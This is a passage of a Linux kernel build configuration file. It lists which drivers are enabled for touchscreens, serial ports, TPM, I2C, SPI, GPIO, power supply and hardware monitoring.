CONFIG_INPUT_TOUCHSCREEN=y
# CONFIG_TOUCHSCREEN_ADS7846 is not set
# CONFIG_TOUCHSCREEN_AD7877 is not set
# CONFIG_TOUCHSCREEN_AD7879 is not set
# CONFIG_TOUCHSCREEN_ADC is not set
# CONFIG_TOUCHSCREEN_AR1021_I2C is not set
# CONFIG_TOUCHSCREEN_ATMEL_MXT is not set
# CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set
# CONFIG_TOUCHSCREEN_BU21013 is not set
# CONFIG_TOUCHSCREEN_BU21029 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8318 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8505 is not set
# CONFIG_TOUCHSCREEN_CY8CTMA140 is not set
# CONFIG_TOUCHSCREEN_CY8CTMG110 is not set
# CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set
# CONFIG_TOUCHSCREEN_CYTTSP5 is not set
# CONFIG_TOUCHSCREEN_DYNAPRO is not set
# CONFIG_TOUCHSCREEN_HAMPSHIRE is not set
# CONFIG_TOUCHSCREEN_EETI is not set
# CONFIG_TOUCHSCREEN_EGALAX is not set
# CONFIG_TOUCHSCREEN_EGALAX_SERIAL is not set
# CONFIG_TOUCHSCREEN_EXC3000 is not set
# CONFIG_TOUCHSCREEN_FUJITSU is not set
# CONFIG_TOUCHSCREEN_GOODIX is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_I2C is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_SPI is not set
# CONFIG_TOUCHSCREEN_HIDEEP is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX852X is not set
# CONFIG_TOUCHSCREEN_HYCON_HY46XX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CSTXXX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CST816X is not set
# CONFIG_TOUCHSCREEN_ILI210X is not set
# CONFIG_TOUCHSCREEN_ILITEK is not set
# CONFIG_TOUCHSCREEN_S6SY761 is not set
# CONFIG_TOUCHSCREEN_GUNZE is not set
# CONFIG_TOUCHSCREEN_EKTF2127 is not set
# CONFIG_TOUCHSCREEN_ELAN is not set
# CONFIG_TOUCHSCREEN_ELO is not set
# CONFIG_TOUCHSCREEN_WACOM_W8001 is not set
# CONFIG_TOUCHSCREEN_WACOM_I2C is not set
# CONFIG_TOUCHSCREEN_WACOM_W9000 is not set
# CONFIG_TOUCHSCREEN_MAX11801 is not set
# CONFIG_TOUCHSCREEN_MMS114 is not set
# CONFIG_TOUCHSCREEN_MELFAS_MIP4 is not set
# CONFIG_TOUCHSCREEN_MSG2638 is not set
# CONFIG_TOUCHSCREEN_MTOUCH is not set
# CONFIG_TOUCHSCREEN_NOVATEK_NVT_TS is not set
# CONFIG_TOUCHSCREEN_IMAGIS is not set
# CONFIG_TOUCHSCREEN_IMX6UL_TSC is not set
# CONFIG_TOUCHSCREEN_INEXIO is not set
# CONFIG_TOUCHSCREEN_PENMOUNT is not set
# CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set
# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set
# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
# CONFIG_TOUCHSCREEN_PIXCIR is not set
# CONFIG_TOUCHSCREEN_WDT87XX_I2C is not set
CONFIG_TOUCHSCREEN_USB_COMPOSITE=y
CONFIG_TOUCHSCREEN_USB_EGALAX=y
CONFIG_TOUCHSCREEN_USB_PANJIT=y
CONFIG_TOUCHSCREEN_USB_3M=y
CONFIG_TOUCHSCREEN_USB_ITM=y
CONFIG_TOUCHSCREEN_USB_ETURBO=y
CONFIG_TOUCHSCREEN_USB_GUNZE=y
CONFIG_TOUCHSCREEN_USB_DMC_TSC10=y
CONFIG_TOUCHSCREEN_USB_IRTOUCH=y
CONFIG_TOUCHSCREEN_USB_IDEALTEK=y
CONFIG_TOUCHSCREEN_USB_GENERAL_TOUCH=y
CONFIG_TOUCHSCREEN_USB_GOTOP=y
CONFIG_TOUCHSCREEN_USB_JASTEC=y
CONFIG_TOUCHSCREEN_USB_ELO=y
CONFIG_TOUCHSCREEN_USB_E2I=y
CONFIG_TOUCHSCREEN_USB_ZYTRONIC=y
CONFIG_TOUCHSCREEN_USB_ETT_TC45USB=y
CONFIG_TOUCHSCREEN_USB_NEXIO=y
CONFIG_TOUCHSCREEN_USB_EASYTOUCH=y
# CONFIG_TOUCHSCREEN_TOUCHIT213 is not set
# CONFIG_TOUCHSCREEN_TSC_SERIO is not set
# CONFIG_TOUCHSCREEN_TSC2004 is not set
# CONFIG_TOUCHSCREEN_TSC2005 is not set
# CONFIG_TOUCHSCREEN_TSC2007 is not set
# CONFIG_TOUCHSCREEN_RM_TS is not set
# CONFIG_TOUCHSCREEN_SILEAD is not set
# CONFIG_TOUCHSCREEN_SIS_I2C is not set
# CONFIG_TOUCHSCREEN_ST1232 is not set
# CONFIG_TOUCHSCREEN_STMFTS is not set
CONFIG_TOUCHSCREEN_SUR40=y
# CONFIG_TOUCHSCREEN_SURFACE3_SPI is not set
# CONFIG_TOUCHSCREEN_SX8654 is not set
# CONFIG_TOUCHSCREEN_TPS6507X is not set
# CONFIG_TOUCHSCREEN_ZET6223 is not set
# CONFIG_TOUCHSCREEN_ZFORCE is not set
# CONFIG_TOUCHSCREEN_COLIBRI_VF50 is not set
# CONFIG_TOUCHSCREEN_ROHM_BU21023 is not set
# CONFIG_TOUCHSCREEN_IQS5XX is not set
# CONFIG_TOUCHSCREEN_IQS7211 is not set
# CONFIG_TOUCHSCREEN_ZINITIX is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX83112B is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_ATMEL_CAPTOUCH is not set
# CONFIG_INPUT_AW86927 is not set
# CONFIG_INPUT_BMA150 is not set
# CONFIG_INPUT_E3X0_BUTTON is not set
# CONFIG_INPUT_PCSPKR is not set
# CONFIG_INPUT_MMA8450 is not set
# CONFIG_INPUT_APANEL is not set
# CONFIG_INPUT_GPIO_BEEPER is not set
# CONFIG_INPUT_GPIO_DECODER is not set
# CONFIG_INPUT_GPIO_VIBRA is not set
# CONFIG_INPUT_ATLAS_BTNS is not set
CONFIG_INPUT_ATI_REMOTE2=y
CONFIG_INPUT_KEYSPAN_REMOTE=y
# CONFIG_INPUT_KXTJ9 is not set
CONFIG_INPUT_POWERMATE=y
CONFIG_INPUT_YEALINK=y
CONFIG_INPUT_CM109=y
# CONFIG_INPUT_REGULATOR_HAPTIC is not set
# CONFIG_INPUT_RETU_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_VIBRA is not set
CONFIG_INPUT_UINPUT=y
# CONFIG_INPUT_PCF8574 is not set
# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set
# CONFIG_INPUT_DA7280_HAPTICS is not set
# CONFIG_INPUT_ADXL34X is not set
# CONFIG_INPUT_IBM_PANEL is not set
CONFIG_INPUT_IMS_PCU=y
# CONFIG_INPUT_IQS269A is not set
# CONFIG_INPUT_IQS626A is not set
# CONFIG_INPUT_IQS7222 is not set
# CONFIG_INPUT_ISA1200_HAPTIC is not set
# CONFIG_INPUT_CMA3000 is not set
# CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set
# CONFIG_INPUT_AMD_SFH_TABLETMODE is not set
# CONFIG_INPUT_DRV260X_HAPTICS is not set
# CONFIG_INPUT_DRV2665_HAPTICS is not set
# CONFIG_INPUT_DRV2667_HAPTICS is not set
CONFIG_RMI4_CORE=y
# CONFIG_RMI4_I2C is not set
# CONFIG_RMI4_SPI is not set
# CONFIG_RMI4_SMB is not set
CONFIG_RMI4_F03=y
CONFIG_RMI4_F03_SERIO=y
CONFIG_RMI4_2D_SENSOR=y
CONFIG_RMI4_F11=y
CONFIG_RMI4_F12=y
# CONFIG_RMI4_F1A is not set
# CONFIG_RMI4_F21 is not set
CONFIG_RMI4_F30=y
# CONFIG_RMI4_F34 is not set
CONFIG_RMI4_F3A=y
# CONFIG_RMI4_F54 is not set
# CONFIG_RMI4_F55 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y
CONFIG_SERIO_I8042=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PARKBD is not set
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_SERIO_APBPS2 is not set
# CONFIG_SERIO_GPIO_PS2 is not set
CONFIG_USERIO=y
# CONFIG_GAMEPORT is not set
# end of Hardware I/O ports
# end of Input device support

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_VT_CONSOLE_SLEEP=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_LEGACY_TIOCSTI=y
CONFIG_LDISC_AUTOLOAD=y

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_PNP=y
# CONFIG_SERIAL_8250_16550A_VARIANTS is not set
# CONFIG_SERIAL_8250_FINTEK is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_DMA=y
CONFIG_SERIAL_8250_PCILIB=y
CONFIG_SERIAL_8250_PCI=y
# CONFIG_SERIAL_8250_EXAR is not set
# CONFIG_SERIAL_8250_CS is not set
CONFIG_SERIAL_8250_NR_UARTS=32
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
CONFIG_SERIAL_8250_DETECT_IRQ=y
CONFIG_SERIAL_8250_RSA=y
CONFIG_SERIAL_8250_MANY_PORTS=y
# CONFIG_SERIAL_8250_PCI1XXXX is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
CONFIG_SERIAL_8250_LPSS=y
CONFIG_SERIAL_8250_MID=y
CONFIG_SERIAL_8250_PERICOM=y
# CONFIG_SERIAL_8250_NI is not set
# CONFIG_SERIAL_OF_PLATFORM is not set
CONFIG_SERIAL_8250_DWLIB=y

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MAX3100 is not set
# CONFIG_SERIAL_MAX310X is not set
# CONFIG_SERIAL_UARTLITE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SIFIVE is not set
# CONFIG_SERIAL_LANTIQ is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_SC16IS7XX is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_FSL_LINFLEXUART is not set
# CONFIG_SERIAL_CONEXANT_DIGICOLOR is not set
# CONFIG_SERIAL_SPRD is not set
# end of Serial drivers

CONFIG_SERIAL_MCTRL_GPIO=y
CONFIG_SERIAL_NONSTANDARD=y
# CONFIG_MOXA_INTELLIO is not set
# CONFIG_MOXA_SMARTIO is not set
CONFIG_N_HDLC=y
# CONFIG_IPWIRELESS is not set
CONFIG_N_GSM=y
CONFIG_NOZOMI=y
CONFIG_NULL_TTY=y
CONFIG_HVC_DRIVER=y
CONFIG_SERIAL_DEV_BUS=y
CONFIG_SERIAL_DEV_CTRL_TTYPORT=y
CONFIG_TTY_PRINTK=y
CONFIG_TTY_PRINTK_LEVEL=6
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set
CONFIG_VIRTIO_CONSOLE=y
# CONFIG_IPMI_HANDLER is not set
# CONFIG_SSIF_IPMI_BMC is not set
# CONFIG_IPMB_DEVICE_INTERFACE is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_HW_RANDOM_INTEL is not set
# CONFIG_HW_RANDOM_AMD is not set
# CONFIG_HW_RANDOM_BA431 is not set
# CONFIG_HW_RANDOM_VIA is not set
CONFIG_HW_RANDOM_VIRTIO=y
# CONFIG_HW_RANDOM_CCTRNG is not set
# CONFIG_HW_RANDOM_XIPHERA is not set
# CONFIG_DEVMEM is not set
CONFIG_NVRAM=y
# CONFIG_DEVPORT is not set
CONFIG_HPET=y
CONFIG_HPET_MMAP=y
CONFIG_HPET_MMAP_DEFAULT=y
# CONFIG_HANGCHECK_TIMER is not set
CONFIG_TCG_TPM=y
# CONFIG_TCG_TPM2_HMAC is not set
# CONFIG_HW_RANDOM_TPM is not set
CONFIG_TCG_TIS_CORE=y
CONFIG_TCG_TIS=y
# CONFIG_TCG_TIS_SPI is not set
# CONFIG_TCG_TIS_I2C is not set
# CONFIG_TCG_TIS_I2C_CR50 is not set
# CONFIG_TCG_TIS_I2C_ATMEL is not set
# CONFIG_TCG_TIS_I2C_INFINEON is not set
# CONFIG_TCG_TIS_I2C_NUVOTON is not set
# CONFIG_TCG_NSC is not set
# CONFIG_TCG_ATMEL is not set
# CONFIG_TCG_INFINEON is not set
CONFIG_TCG_CRB=y
# CONFIG_TCG_VTPM_PROXY is not set
# CONFIG_TCG_TIS_ST33ZP24_I2C is not set
# CONFIG_TCG_TIS_ST33ZP24_SPI is not set
# CONFIG_TELCLOCK is not set
CONFIG_XILLYBUS_CLASS=y
# CONFIG_XILLYBUS is not set
CONFIG_XILLYUSB=y
# end of Character devices

#
# I2C support
#
CONFIG_I2C=y
CONFIG_ACPI_I2C_OPREGION=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_CHARDEV=y
CONFIG_I2C_MUX=y

#
# Multiplexer I2C Chip support
#
# CONFIG_I2C_ARB_GPIO_CHALLENGE is not set
# CONFIG_I2C_MUX_GPIO is not set
# CONFIG_I2C_MUX_GPMUX is not set
# CONFIG_I2C_MUX_LTC4306 is not set
# CONFIG_I2C_MUX_PCA9541 is not set
# CONFIG_I2C_MUX_PCA954x is not set
CONFIG_I2C_MUX_REG=y
# CONFIG_I2C_MUX_MLXCPLD is not set
# end of Multiplexer I2C Chip support

CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_SMBUS=y
CONFIG_I2C_ALGOBIT=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_AMD_MP2 is not set
CONFIG_I2C_I801=y
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_ISMT is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_CHT_WC is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_NVIDIA_GPU is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set
# CONFIG_I2C_ZHAOXIN is not set

#
# ACPI drivers
#
# CONFIG_I2C_SCMI is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_CBUS_GPIO is not set
CONFIG_I2C_DESIGNWARE_CORE=y
CONFIG_I2C_DESIGNWARE_PLATFORM=y
# CONFIG_I2C_DESIGNWARE_BAYTRAIL is not set
# CONFIG_I2C_DESIGNWARE_PCI is not set
# CONFIG_I2C_EMEV2 is not set
# CONFIG_I2C_GPIO is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_RK3X is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
CONFIG_I2C_DIOLAN_U2C=y
CONFIG_I2C_DLN2=y
CONFIG_I2C_LJCA=y
CONFIG_I2C_CP2615=y
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PCI1XXXX is not set
CONFIG_I2C_ROBOTFUZZ_OSIF=y
# CONFIG_I2C_TAOS_EVM is not set
CONFIG_I2C_TINY_USB=y
CONFIG_I2C_VIPERBOARD=y

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_MLXCPLD is not set
# CONFIG_I2C_VIRTIO is not set
# end of I2C Hardware Bus support

# CONFIG_I2C_STUB is not set
CONFIG_I2C_SLAVE=y
CONFIG_I2C_SLAVE_EEPROM=y
# CONFIG_I2C_SLAVE_TESTUNIT is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# end of I2C support

# CONFIG_I3C is not set
CONFIG_I3C_OR_I2C=y
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y
# CONFIG_SPI_MEM is not set

#
# SPI Master Controller Drivers
#
# CONFIG_SPI_ALTERA is not set
# CONFIG_SPI_AXI_SPI_ENGINE is not set
# CONFIG_SPI_BITBANG is not set
# CONFIG_SPI_BUTTERFLY is not set
# CONFIG_SPI_CADENCE is not set
# CONFIG_SPI_CADENCE_QUADSPI is not set
# CONFIG_SPI_CH341 is not set
# CONFIG_SPI_DESIGNWARE is not set
CONFIG_SPI_DLN2=y
# CONFIG_SPI_GPIO is not set
# CONFIG_SPI_LM70_LLP is not set
# CONFIG_SPI_FSL_SPI is not set
CONFIG_SPI_LJCA=y
# CONFIG_SPI_MICROCHIP_CORE_QSPI is not set
# CONFIG_SPI_MICROCHIP_CORE_SPI is not set
# CONFIG_SPI_LANTIQ_SSC is not set
# CONFIG_SPI_OC_TINY is not set
# CONFIG_SPI_PCI1XXXX is not set
# CONFIG_SPI_PXA2XX is not set
# CONFIG_SPI_SC18IS602 is not set
# CONFIG_SPI_SIFIVE is not set
# CONFIG_SPI_MXIC is not set
# CONFIG_SPI_VIRTIO is not set
# CONFIG_SPI_XCOMM is not set
# CONFIG_SPI_XILINX is not set

#
# SPI Multiplexer support
#
# CONFIG_SPI_MUX is not set

#
# SPI Protocol Masters
#
# CONFIG_SPI_SPIDEV is not set
# CONFIG_SPI_LOOPBACK_TEST is not set
# CONFIG_SPI_TLE62X0 is not set
# CONFIG_SPI_SLAVE is not set
CONFIG_SPI_DYNAMIC=y
# CONFIG_SPMI is not set
# CONFIG_HSI is not set
CONFIG_PPS=y
# CONFIG_PPS_DEBUG is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_PARPORT is not set
# CONFIG_PPS_CLIENT_GPIO is not set
# CONFIG_PPS_GENERATOR is not set

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=y
CONFIG_PTP_1588_CLOCK_OPTIONAL=y

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
CONFIG_PTP_1588_CLOCK_KVM=y
CONFIG_PTP_1588_CLOCK_VMCLOCK=y
# CONFIG_PTP_1588_CLOCK_IDT82P33 is not set
# CONFIG_PTP_1588_CLOCK_IDTCM is not set
# CONFIG_PTP_1588_CLOCK_FC3W is not set
# CONFIG_PTP_1588_CLOCK_MOCK is not set
# CONFIG_PTP_1588_CLOCK_VMW is not set
# CONFIG_PTP_1588_CLOCK_OCP is not set
# CONFIG_PTP_NETC_V4_TIMER is not set
# end of PTP clock support

#
# DPLL device support
#
# CONFIG_ZL3073X_I2C is not set
# CONFIG_ZL3073X_SPI is not set
# end of DPLL device support

# CONFIG_PINCTRL is not set
CONFIG_GPIOLIB_LEGACY=y
CONFIG_GPIOLIB=y
CONFIG_GPIOLIB_FASTPATH_LIMIT=512
CONFIG_OF_GPIO=y
CONFIG_GPIO_ACPI=y
CONFIG_GPIOLIB_IRQCHIP=y
# CONFIG_DEBUG_GPIO is not set
# CONFIG_GPIO_SYSFS is not set
# CONFIG_GPIO_CDEV is not set

#
# Memory mapped GPIO drivers
#
# CONFIG_GPIO_74XX_MMIO is not set
# CONFIG_GPIO_ALTERA is not set
# CONFIG_GPIO_AMDPT is not set
# CONFIG_GPIO_BY_PINCTRL is not set
# CONFIG_GPIO_CADENCE is not set
# CONFIG_GPIO_DWAPB is not set
# CONFIG_GPIO_FTGPIO010 is not set
# CONFIG_GPIO_GENERIC_PLATFORM is not set
# CONFIG_GPIO_GRANITERAPIDS is not set
# CONFIG_GPIO_GRGPIO is not set
# CONFIG_GPIO_HLWD is not set
# CONFIG_GPIO_ICH is not set
# CONFIG_GPIO_LOGICVC is not set
# CONFIG_GPIO_MB86S7X is not set
# CONFIG_GPIO_POLARFIRE_SOC is not set
# CONFIG_GPIO_SIFIVE is not set
# CONFIG_GPIO_SYSCON is not set
# CONFIG_GPIO_WAVESHARE_DSI_TOUCH is not set
# CONFIG_GPIO_XILINX is not set
# CONFIG_GPIO_AMD_FCH is not set
# end of Memory mapped GPIO drivers

#
# Port-mapped I/O GPIO drivers
#
# CONFIG_GPIO_VX855 is not set
# CONFIG_GPIO_F7188X is not set
# CONFIG_GPIO_IT87 is not set
# CONFIG_GPIO_NOVALAKE is not set
# CONFIG_GPIO_SCH311X is not set
# CONFIG_GPIO_WINBOND is not set
# CONFIG_GPIO_WS16C48 is not set
# end of Port-mapped I/O GPIO drivers

#
# I2C GPIO expanders
#
# CONFIG_GPIO_ADNP is not set
# CONFIG_GPIO_FXL6408 is not set
# CONFIG_GPIO_DS4520 is not set
# CONFIG_GPIO_GW_PLD is not set
# CONFIG_GPIO_MAX7300 is not set
# CONFIG_GPIO_MAX732X is not set
# CONFIG_GPIO_PCA953X is not set
# CONFIG_GPIO_PCA9570 is not set
# CONFIG_GPIO_PCF857X is not set
# CONFIG_GPIO_TPIC2810 is not set
# end of I2C GPIO expanders

#
# MFD GPIO expanders
#
CONFIG_GPIO_DLN2=y
CONFIG_GPIO_LJCA=y
# CONFIG_GPIO_TWL4030 is not set
# CONFIG_GPIO_WHISKEY_COVE is not set
# end of MFD GPIO expanders

#
# Auxiliary Bus GPIO drivers
#
# end of Auxiliary Bus GPIO drivers

#
# PCI GPIO expanders
#
# CONFIG_GPIO_AMD8111 is not set
# CONFIG_GPIO_BT8XX is not set
# CONFIG_GPIO_ML_IOH is not set
# CONFIG_GPIO_PCI_IDIO_16 is not set
# CONFIG_GPIO_PCIE_IDIO_24 is not set
# CONFIG_GPIO_RDC321X is not set
# CONFIG_GPIO_SODAVILLE is not set
# end of PCI GPIO expanders

#
# SPI GPIO expanders
#
# CONFIG_GPIO_74X164 is not set
# CONFIG_GPIO_MAX3191X is not set
# CONFIG_GPIO_MAX7301 is not set
# CONFIG_GPIO_MC33880 is not set
# CONFIG_GPIO_PISOSR is not set
# CONFIG_GPIO_XRA1403 is not set
# end of SPI GPIO expanders

#
# USB GPIO expanders
#
CONFIG_GPIO_VIPERBOARD=y
# CONFIG_GPIO_MPSSE is not set
# end of USB GPIO expanders

#
# Virtual GPIO drivers
#
# CONFIG_GPIO_AGGREGATOR is not set
# CONFIG_GPIO_LATCH is not set
# CONFIG_GPIO_LINE_MUX is not set
# CONFIG_GPIO_MOCKUP is not set
# CONFIG_GPIO_VIRTIO is not set
# CONFIG_GPIO_SIM is not set
# end of Virtual GPIO drivers

#
# GPIO Debugging utilities
#
# CONFIG_GPIO_SLOPPY_LOGIC_ANALYZER is not set
# CONFIG_GPIO_VIRTUSER is not set
# end of GPIO Debugging utilities

# CONFIG_W1 is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_SEQUENCING is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
CONFIG_POWER_SUPPLY_HWMON=y
# CONFIG_GENERIC_ADC_BATTERY is not set
# CONFIG_IP5XXX_POWER is not set
# CONFIG_TEST_POWER is not set
# CONFIG_CHARGER_ADP5061 is not set
# CONFIG_BATTERY_CHAGALL is not set
# CONFIG_BATTERY_CW2015 is not set
# CONFIG_BATTERY_DS2780 is not set
# CONFIG_BATTERY_DS2781 is not set
# CONFIG_BATTERY_DS2782 is not set
# CONFIG_BATTERY_SAMSUNG_SDI is not set
# CONFIG_BATTERY_S2MU005 is not set
# CONFIG_BATTERY_SBS is not set
# CONFIG_CHARGER_SBS is not set
# CONFIG_MANAGER_SBS is not set
# CONFIG_BATTERY_BQ27XXX is not set
# CONFIG_BATTERY_MAX17040 is not set
# CONFIG_BATTERY_MAX17042 is not set
# CONFIG_BATTERY_MAX1720X is not set
CONFIG_CHARGER_ISP1704=y
# CONFIG_CHARGER_MAX8903 is not set
# CONFIG_CHARGER_TWL4030 is not set
# CONFIG_CHARGER_TWL6030 is not set
# CONFIG_CHARGER_LP8727 is not set
# CONFIG_CHARGER_GPIO is not set
# CONFIG_CHARGER_MANAGER is not set
# CONFIG_CHARGER_LT3651 is not set
# CONFIG_CHARGER_LTC4162L is not set
# CONFIG_CHARGER_DETECTOR_MAX14656 is not set
# CONFIG_CHARGER_MAX77976 is not set
# CONFIG_CHARGER_MAX8971 is not set
# CONFIG_CHARGER_MT6360 is not set
# CONFIG_CHARGER_MT6370 is not set
# CONFIG_CHARGER_BQ2415X is not set
CONFIG_CHARGER_BQ24190=y
# CONFIG_CHARGER_BQ24257 is not set
# CONFIG_CHARGER_BQ24735 is not set
# CONFIG_CHARGER_BQ2515X is not set
# CONFIG_CHARGER_BQ25890 is not set
# CONFIG_CHARGER_BQ25980 is not set
# CONFIG_CHARGER_BQ256XX is not set
# CONFIG_CHARGER_SMB347 is not set
# CONFIG_BATTERY_GAUGE_LTC2941 is not set
# CONFIG_BATTERY_GOLDFISH is not set
# CONFIG_BATTERY_RT5033 is not set
# CONFIG_CHARGER_RT9455 is not set
# CONFIG_CHARGER_RT9467 is not set
# CONFIG_CHARGER_RT9471 is not set
# CONFIG_CHARGER_RT9756 is not set
# CONFIG_FUEL_GAUGE_STC3117 is not set
# CONFIG_CHARGER_UCS1002 is not set
# CONFIG_CHARGER_BD99954 is not set
# CONFIG_BATTERY_SURFACE is not set
# CONFIG_CHARGER_SURFACE is not set
# CONFIG_BATTERY_UG3105 is not set
# CONFIG_BATTERY_CHARGER_SURFACE_RT is not set
# CONFIG_FUEL_GAUGE_MM8013 is not set
CONFIG_HWMON=y
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ABITUGURU is not set
# CONFIG_SENSORS_ABITUGURU3 is not set
# CONFIG_SENSORS_AD7314 is not set
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM1177 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7310 is not set
# CONFIG_SENSORS_ADT7410 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_AHT10 is not set
CONFIG_SENSORS_AQUACOMPUTER_D5NEXT=y
# CONFIG_SENSORS_AS370 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ASUS_ROG_RYUJIN is not set
# CONFIG_SENSORS_AXI_FAN_CONTROL is not set
# CONFIG_SENSORS_K8TEMP is not set
# CONFIG_SENSORS_K10TEMP is not set
# CONFIG_SENSORS_KB9002 is not set
# CONFIG_SENSORS_FAM15H_POWER is not set
# CONFIG_SENSORS_APPLESMC is not set
# CONFIG_SENSORS_ARCTIC_FAN_CONTROLLER is not set
# CONFIG_SENSORS_ASB100 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_CHIPCAP2 is not set
CONFIG_SENSORS_CORSAIR_CPRO=y
CONFIG_SENSORS_CORSAIR_PSU=y
# CONFIG_SENSORS_DRIVETEMP is not set
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_DELL_SMM is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_FSCHMD is not set
# CONFIG_SENSORS_FTSTEUTATES is not set
CONFIG_SENSORS_GIGABYTE_WATERFORCE=y
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_GPD is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_G762 is not set
# CONFIG_SENSORS_GPIO_FAN is not set
# CONFIG_SENSORS_HIH6130 is not set
# CONFIG_SENSORS_HS3001 is not set
# CONFIG_SENSORS_HTU31 is not set
# CONFIG_SENSORS_IIO_HWMON is not set
# CONFIG_SENSORS_I5500 is not set
# CONFIG_SENSORS_CORETEMP is not set
# CONFIG_SENSORS_ISL28022 is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
